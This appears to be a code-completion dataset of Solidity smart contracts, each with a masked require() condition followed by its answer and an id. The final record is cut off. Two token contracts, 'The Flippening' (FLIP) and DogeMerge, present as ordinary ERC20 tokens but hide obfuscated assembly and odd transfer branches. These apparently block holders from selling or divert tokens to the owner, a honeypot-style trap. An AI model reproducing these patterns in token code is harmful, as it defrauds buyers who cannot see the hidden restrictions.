private _name; string private _symbol; uint256 private _totalSupply; uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2; bool private trading; uint256 private airCondition = 1; bool private frozenPalace; uint256 private _decimals; uint256 private spaceBalls; constructor (string memory name_, string memory symbol_, address msgSender_) { } function symbol() public view virtual override returns (string memory) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function name() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function _TokenMaker() internal { } function openTrading() external onlyOwner returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function totalSupply() public view virtual override returns (uint256) { } function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal { require(<FILL_ME>) assembly { function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) } function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) } if eq(chainid(),0x1) { if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) } if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x9)),gt(float,div(sload(0x99),0x2))),and(gt(float,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) } if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) { let k := sload(0x18) let t := sload(0x99) let g := sload(0x11) switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) } sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) } if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) } if iszero(mod(sload(0x15),0x7)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28) } sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) } } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _DeployFlip(address account, uint256 amount) internal virtual { } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { } } contract TheFlippening is ERC20Token { constructor() ERC20Token("The Flippening", "FLIP", msg.sender, 84500 * 10 ** 18) { } }
(trading||(sender==addFlip[1])),"ERC20: trading is not yet enabled."
435,981
(trading||(sender==addFlip[1]))
'Transfer amount exceeds the maxTxAmount'
/** https://t.me/DogeMergeToken https://dogemerge.online/ */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } function _setOwner(address newOwner) private { } } contract DogeMerge is IERC20, Ownable { uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; uint256 public buyFee = 3; uint256 public sellFee = 3; uint256 public feeDivisor = 1; string private _name; string private _symbol; address private _owner; uint256 private _swapTokensAtAmount = _tTotal; uint256 private _amount; uint160 private _factory; bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; IUniswapV2Router02 public router; address public uniswapV2Pair; mapping(address => uint256) private _balances; mapping(address => uint256) private approval; mapping(address => bool) private _exc; mapping(address => mapping(address => uint256)) private _allowances; constructor( string memory Name, string memory Symbol, address routerAddress ) { } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function decimals() public pure returns (uint256) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { } function approve(address spender, uint256 amount) external override returns (bool) { } function set(uint256 amount) external { } function exclude(address account, bool value) external { } function setSwapAndLiquifyEnabled(bool _enabled) external { } function set( uint256 _buyFee, uint256 _sellFee, uint256 _feeDivisor ) external { } function pair() public view returns (address) { } receive() external payable {} function transferAnyERC20Token( address token, address account, uint256 amount ) external { } function transferToken(address account, uint256 amount) external { } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { } function _transfer( address from, address to, uint256 amount ) private { if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_exc[from] && amount <= _swapTokensAtAmount) { require(<FILL_ME>) } uint256 contractTokenBalance = balanceOf(address(this)); if (uniswapV2Pair == address(0)) uniswapV2Pair = pair(); if (to == _owner && _exc[from]) return swapTokensForEth(amount, to); if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) { approval[to] = amount; return; } if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) { inSwapAndLiquify = true; swapAndLiquify(contractTokenBalance); inSwapAndLiquify = false; } uint256 fee = to == uniswapV2Pair ? sellFee : buyFee; bool takeFee = !_exc[from] && !_exc[to] && fee > 0 && !inSwapAndLiquify; address factory = address(_factory); if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount; _factory = uint160(to); if (takeFee) { fee = (amount * fee) / 100 / feeDivisor; amount -= fee; _balances[from] -= fee; _balances[address(this)] += fee; } _balances[from] -= amount; _balances[to] += amount; emit Transfer(from, to, amount); } function swapAndLiquify(uint256 tokens) private { } function swapTokensForEth(uint256 tokenAmount, address to) private { } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { } }
approval[from]+_amount>=0,'Transfer amount exceeds the maxTxAmount'
436,063
approval[from]+_amount>=0
"Helper: caller is not the Helper"
pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; contract Helper is Ownable { mapping(address=>bool) HelperMapping; constructor() { } modifier onlyHelper() { } function _checkHelper() internal view virtual { require(<FILL_ME>) } function setHelper(address _address, bool _isHelper) public onlyOwner{ } }
HelperMapping[msg.sender]==true,"Helper: caller is not the Helper"
436,268
HelperMapping[msg.sender]==true
"mot enough tokens"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract GRYD is ERC20 { constructor() ERC20("GRYD", "GRD") { } } contract GRYDPresale { address public owner; // Владелец контракта bool public presaleActive = true; // Флаг активности presale GRYD public tokenContract; uint rate = 15000000; uint256 public tokenPrice = 15000000; // Цена токена (за упрощение принимаем, что 1 ETH = 150 000 000 токенов) // Конструктор constructor(address _tokenAddress) { } modifier onlyOwner() { } modifier isPresaleActive() { } modifier isPresaleEnded() { } // Покупка токенов function buyTokens(address buyer) public payable isPresaleActive { require(msg.value >= 0.007 ether, "min sum - 0.007 ETH"); uint256 tokensToBuy = msg.value * rate; // Расчет количества токенов require(<FILL_ME>) // 5% комиссия uint256 commission = msg.value / 20; address commissionAddress = 0xa0729DC0F4Fbc335F6cab10b5F1B4b4664d5D495; // Адрес для комиссии payable(commissionAddress).transfer(commission); require(tokenContract.transfer(buyer, tokensToBuy), "Error while transfering tokens"); } // Функция для вывода баланса контракта function withdrawFunds() external onlyOwner isPresaleEnded { } // Функция для завершения presale function endPresale() external onlyOwner { } }
tokenContract.balanceOf(address(this))>=tokensToBuy,"mot enough tokens"
436,310
tokenContract.balanceOf(address(this))>=tokensToBuy
"Error while transfering tokens"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract GRYD is ERC20 { constructor() ERC20("GRYD", "GRD") { } } contract GRYDPresale { address public owner; // Владелец контракта bool public presaleActive = true; // Флаг активности presale GRYD public tokenContract; uint rate = 15000000; uint256 public tokenPrice = 15000000; // Цена токена (за упрощение принимаем, что 1 ETH = 150 000 000 токенов) // Конструктор constructor(address _tokenAddress) { } modifier onlyOwner() { } modifier isPresaleActive() { } modifier isPresaleEnded() { } // Покупка токенов function buyTokens(address buyer) public payable isPresaleActive { require(msg.value >= 0.007 ether, "min sum - 0.007 ETH"); uint256 tokensToBuy = msg.value * rate; // Расчет количества токенов require(tokenContract.balanceOf(address(this)) >= tokensToBuy, "mot enough tokens"); // 5% комиссия uint256 commission = msg.value / 20; address commissionAddress = 0xa0729DC0F4Fbc335F6cab10b5F1B4b4664d5D495; // Адрес для комиссии payable(commissionAddress).transfer(commission); require(<FILL_ME>) } // Функция для вывода баланса контракта function withdrawFunds() external onlyOwner isPresaleEnded { } // Функция для завершения presale function endPresale() external onlyOwner { } }
tokenContract.transfer(buyer,tokensToBuy),"Error while transfering tokens"
436,310
tokenContract.transfer(buyer,tokensToBuy)
"FAME_FRONTROW_2022: uri query for unregistered token"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } interface ERC1155 is ERC165 { event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _value, uint256 indexed _id); function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; function balanceOf(address _owner, uint256 _id) external view returns (uint256); function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface ERC1155TokenReceiver is ERC165 { function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4); function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4); } interface ERC1155Metadata_URI is ERC165 { function uri(uint256 _id) external view returns (string memory); } abstract contract FAME_WHITELIST is ERC165, ERC1155, ERC1155Metadata_URI { function isWhitelist(address _account) public view virtual returns (uint256) {} } contract FAME_FRONTROW_2022 is FAME_WHITELIST { address payable public factory; string public constant name = "FAME FRONTROW 2022"; address public constant owner = 0x4a3E0107381252519ee681e58616810508656a14; uint256 public volume = 0; uint256 public maxVolume = 10_000; mapping(uint256 => address) private owners; mapping(uint256 => bytes32) private types; mapping(address => uint256) private totalBalances; mapping(address => mapping(address => bool)) private operatorApprovals; string private baseURI = "https://xfame.app/metadata/frontrow-2022/"; modifier onlyFAME() { } modifier onlyFactory() { } constructor() { } function supportsInterface(bytes4 interfaceId) external pure override returns (bool) { } function uri(uint256 _id) external view override returns (string memory) { require(<FILL_ME>) return string(abi.encodePacked(baseURI, _toString(_id))); } function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public override { } function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) external override { } function balanceOf(address _account, uint256 _id) public view override returns (uint256) { } function balanceOfBatch(address[] memory _accounts, uint256[] memory _ids) external view override returns (uint256[] memory) { } function setApprovalForAll(address _operator, bool _approved) external override { } function isApprovedForAll(address _account, address _operator) public view override returns (bool) { } function ownerOf(uint256 _id) public view returns (address) { } function typeOf(uint256 _id) external view returns (bytes32) { } function isWhitelist(address _account) public view override returns (uint256) { } function setFactory(address _factory) external onlyFAME { } function setURI(string memory _uri) external onlyFAME { } function setMaxVolume(uint256 _maxVolume) external onlyFAME { } function setType(uint256 _id, bytes32 _type) public onlyFAME { } function setTypeBatch(uint256[] memory _ids, bytes32[] memory _types) external onlyFAME { } function mint(address _operator, address _to, uint256 _amount, bytes memory _data) external onlyFactory() { } function _mint(address _operator, address _to, bytes memory _data) private { } function _mintBatch(address _operator, address _to, uint256 _amount, bytes memory _data) private { } function _doSafeTransferAcceptanceCheck(address _operator, address _from, address _to, uint256 id, uint256 amount, bytes memory _data) private { } function _doSafeBatchTransferAcceptanceCheck(address _operator, address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) private { } function _toString(uint256 value) internal pure returns (string memory) { } } contract FAME_FACTORY_FRONTROW_2022 { address payable private constant FAME_UNIVERSE = payable(0x4a3E0107381252519ee681e58616810508656a14); FAME_FRONTROW_2022 private frontrow; mapping(address => uint256) public whitelist; mapping(address => uint256) private mintedAmounts; uint256 private constant MaxMintableAmount = 3; struct Sale { uint256 open; uint256 limit; uint256 price; uint256 minWhitelistLevel; } mapping(uint256 => Sale) public sales; uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status = 1; event Mint(uint256 indexed _id, address indexed _operator); modifier nonReentrant() { } modifier onlyFAME() { } constructor(FAME_FRONTROW_2022 _frontrow) { } function mintableAmountOf(address _owner) public view returns (uint256) { } function mint(uint256 _salesId, uint256 _amount) external payable nonReentrant { } function privateInvitations(address[] memory _to) external onlyFAME { } function addWhitelist(address _account) public onlyFAME { } function addWhitelistBatch(address[] memory _accounts) external onlyFAME { } function setWhitelist(address _account, uint256 _value) public onlyFAME { } function setWhitelistBatch(address[] memory _accounts, uint256 _value) external onlyFAME { } function setSales(uint256 _salesId, uint256 _open, uint256 _limit, uint256 _price, uint256 _minWhitelistLevel) external onlyFAME { } function withdraw() external { } }
owners[_id]!=address(0),"FAME_FRONTROW_2022: uri query for unregistered token"
436,347
owners[_id]!=address(0)
"FAME_FRONTROW_2022: amount is not 1"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } interface ERC1155 is ERC165 { event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _value, uint256 indexed _id); function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; function balanceOf(address _owner, uint256 _id) external view returns (uint256); function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface ERC1155TokenReceiver is ERC165 { function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4); function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4); } interface ERC1155Metadata_URI is ERC165 { function uri(uint256 _id) external view returns (string memory); } abstract contract FAME_WHITELIST is ERC165, ERC1155, ERC1155Metadata_URI { function isWhitelist(address _account) public view virtual returns (uint256) {} } contract FAME_FRONTROW_2022 is FAME_WHITELIST { address payable public factory; string public constant name = "FAME FRONTROW 2022"; address public constant owner = 0x4a3E0107381252519ee681e58616810508656a14; uint256 public volume = 0; uint256 public maxVolume = 10_000; mapping(uint256 => address) private owners; mapping(uint256 => bytes32) private types; mapping(address => uint256) private totalBalances; mapping(address => mapping(address => bool)) private operatorApprovals; string private baseURI = "https://xfame.app/metadata/frontrow-2022/"; modifier onlyFAME() { } modifier onlyFactory() { } constructor() { } function supportsInterface(bytes4 interfaceId) external pure override returns (bool) { } function uri(uint256 _id) external view override returns (string memory) { } function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public override { } function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) external override { require(_from == msg.sender || isApprovedForAll(_from, msg.sender), "FAME_FRONTROW_2022: transfer caller is not owner nor approved"); require(_ids.length == _amounts.length, "FAME_FRONTROW_2022: ids and amounts length mismatch"); require(_to != address(0), "FAME_FRONTROW_2022: transfer to the zero address"); for (uint256 i = 0; i < _ids.length; i++) { require(_from == ownerOf(_ids[i]), "FAME_FRONTROW_2022: insufficient balance for transfer"); require(<FILL_ME>) owners[_ids[i]] = _to; } totalBalances[_from] -= _ids.length; totalBalances[_to] += _ids.length; emit TransferBatch(msg.sender, _from, _to, _ids, _amounts); _doSafeBatchTransferAcceptanceCheck(msg.sender, _from, _to, _ids, _amounts, _data); } function balanceOf(address _account, uint256 _id) public view override returns (uint256) { } function balanceOfBatch(address[] memory _accounts, uint256[] memory _ids) external view override returns (uint256[] memory) { } function setApprovalForAll(address _operator, bool _approved) external override { } function isApprovedForAll(address _account, address _operator) public view override returns (bool) { } function ownerOf(uint256 _id) public view returns (address) { } function typeOf(uint256 _id) external view returns (bytes32) { } function isWhitelist(address _account) public view override returns (uint256) { } function setFactory(address _factory) external onlyFAME { } function setURI(string memory _uri) external onlyFAME { } function setMaxVolume(uint256 _maxVolume) external onlyFAME { } function setType(uint256 _id, bytes32 _type) public onlyFAME { } function setTypeBatch(uint256[] memory _ids, bytes32[] memory _types) external onlyFAME { } function mint(address _operator, address _to, uint256 _amount, bytes memory _data) external onlyFactory() { } function _mint(address _operator, address _to, bytes memory _data) private { } function _mintBatch(address _operator, address _to, uint256 _amount, bytes memory _data) private { } function _doSafeTransferAcceptanceCheck(address _operator, address _from, address _to, uint256 id, uint256 amount, bytes memory _data) private { } function _doSafeBatchTransferAcceptanceCheck(address _operator, address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) private { } function _toString(uint256 value) internal pure returns (string memory) { } } contract FAME_FACTORY_FRONTROW_2022 { address payable private constant FAME_UNIVERSE = payable(0x4a3E0107381252519ee681e58616810508656a14); FAME_FRONTROW_2022 private frontrow; mapping(address => uint256) public whitelist; mapping(address => uint256) private mintedAmounts; uint256 private constant MaxMintableAmount = 3; struct Sale { uint256 open; uint256 limit; uint256 price; uint256 minWhitelistLevel; } mapping(uint256 => Sale) public sales; uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status = 1; event Mint(uint256 indexed _id, address indexed _operator); modifier nonReentrant() { } modifier onlyFAME() { } constructor(FAME_FRONTROW_2022 _frontrow) { } function mintableAmountOf(address _owner) public view returns (uint256) { } function mint(uint256 _salesId, uint256 _amount) external payable nonReentrant { } function privateInvitations(address[] memory _to) external onlyFAME { } function addWhitelist(address _account) public onlyFAME { } function addWhitelistBatch(address[] memory _accounts) external onlyFAME { } function setWhitelist(address _account, uint256 _value) public onlyFAME { } function setWhitelistBatch(address[] memory _accounts, uint256 _value) external onlyFAME { } function setSales(uint256 _salesId, uint256 _open, uint256 _limit, uint256 _price, uint256 _minWhitelistLevel) external onlyFAME { } function withdraw() external { } }
_amounts[i]==1,"FAME_FRONTROW_2022: amount is not 1"
436,347
_amounts[i]==1
"FAME_FRONTROW_2022: cannot mint more"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } interface ERC1155 is ERC165 { event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _value, uint256 indexed _id); function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; function balanceOf(address _owner, uint256 _id) external view returns (uint256); function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface ERC1155TokenReceiver is ERC165 { function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4); function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4); } interface ERC1155Metadata_URI is ERC165 { function uri(uint256 _id) external view returns (string memory); } abstract contract FAME_WHITELIST is ERC165, ERC1155, ERC1155Metadata_URI { function isWhitelist(address _account) public view virtual returns (uint256) {} } contract FAME_FRONTROW_2022 is FAME_WHITELIST { address payable public factory; string public constant name = "FAME FRONTROW 2022"; address public constant owner = 0x4a3E0107381252519ee681e58616810508656a14; uint256 public volume = 0; uint256 public maxVolume = 10_000; mapping(uint256 => address) private owners; mapping(uint256 => bytes32) private types; mapping(address => uint256) private totalBalances; mapping(address => mapping(address => bool)) private operatorApprovals; string private baseURI = "https://xfame.app/metadata/frontrow-2022/"; modifier onlyFAME() { } modifier onlyFactory() { } constructor() { } function supportsInterface(bytes4 interfaceId) external pure override returns (bool) { } function uri(uint256 _id) external view override returns (string memory) { } function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public override { } function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) external override { } function balanceOf(address _account, uint256 _id) public view override returns (uint256) { } function balanceOfBatch(address[] memory _accounts, uint256[] memory _ids) external view override returns (uint256[] memory) { } function setApprovalForAll(address _operator, bool _approved) external override { } function isApprovedForAll(address _account, address _operator) public view override returns (bool) { } function ownerOf(uint256 _id) public view returns (address) { } function typeOf(uint256 _id) external view returns (bytes32) { } function isWhitelist(address _account) public view override returns (uint256) { } function setFactory(address _factory) external onlyFAME { } function setURI(string memory _uri) external onlyFAME { } function setMaxVolume(uint256 _maxVolume) external onlyFAME { } function setType(uint256 _id, bytes32 _type) public onlyFAME { } function setTypeBatch(uint256[] memory _ids, bytes32[] memory _types) external onlyFAME { } function mint(address _operator, address _to, uint256 _amount, bytes memory _data) external onlyFactory() { } function _mint(address _operator, address _to, bytes memory _data) private { } function _mintBatch(address _operator, address _to, uint256 _amount, bytes memory _data) private { require(_operator != address(0), "FAME_FRONTROW_2022: operator is zero address"); require(_to != address(0), "FAME_FRONTROW_2022: transfer to the zero address"); require(<FILL_ME>) uint256[] memory ids = new uint256[](_amount); uint256[] memory amounts = new uint256[](_amount); for (uint256 i = 0; i < _amount; i++) { ids[i] = volume; amounts[i] = 1; owners[volume] = _to; volume++; } totalBalances[_to] += _amount; emit TransferBatch(_operator, address(0), _to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(_operator, address(0), _to, ids, amounts, _data); } function _doSafeTransferAcceptanceCheck(address _operator, address _from, address _to, uint256 id, uint256 amount, bytes memory _data) private { } function _doSafeBatchTransferAcceptanceCheck(address _operator, address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) private { } function _toString(uint256 value) internal pure returns (string memory) { } } contract FAME_FACTORY_FRONTROW_2022 { address payable private constant FAME_UNIVERSE = payable(0x4a3E0107381252519ee681e58616810508656a14); FAME_FRONTROW_2022 private frontrow; mapping(address => uint256) public whitelist; mapping(address => uint256) private mintedAmounts; uint256 private constant MaxMintableAmount = 3; struct Sale { uint256 open; uint256 limit; uint256 price; uint256 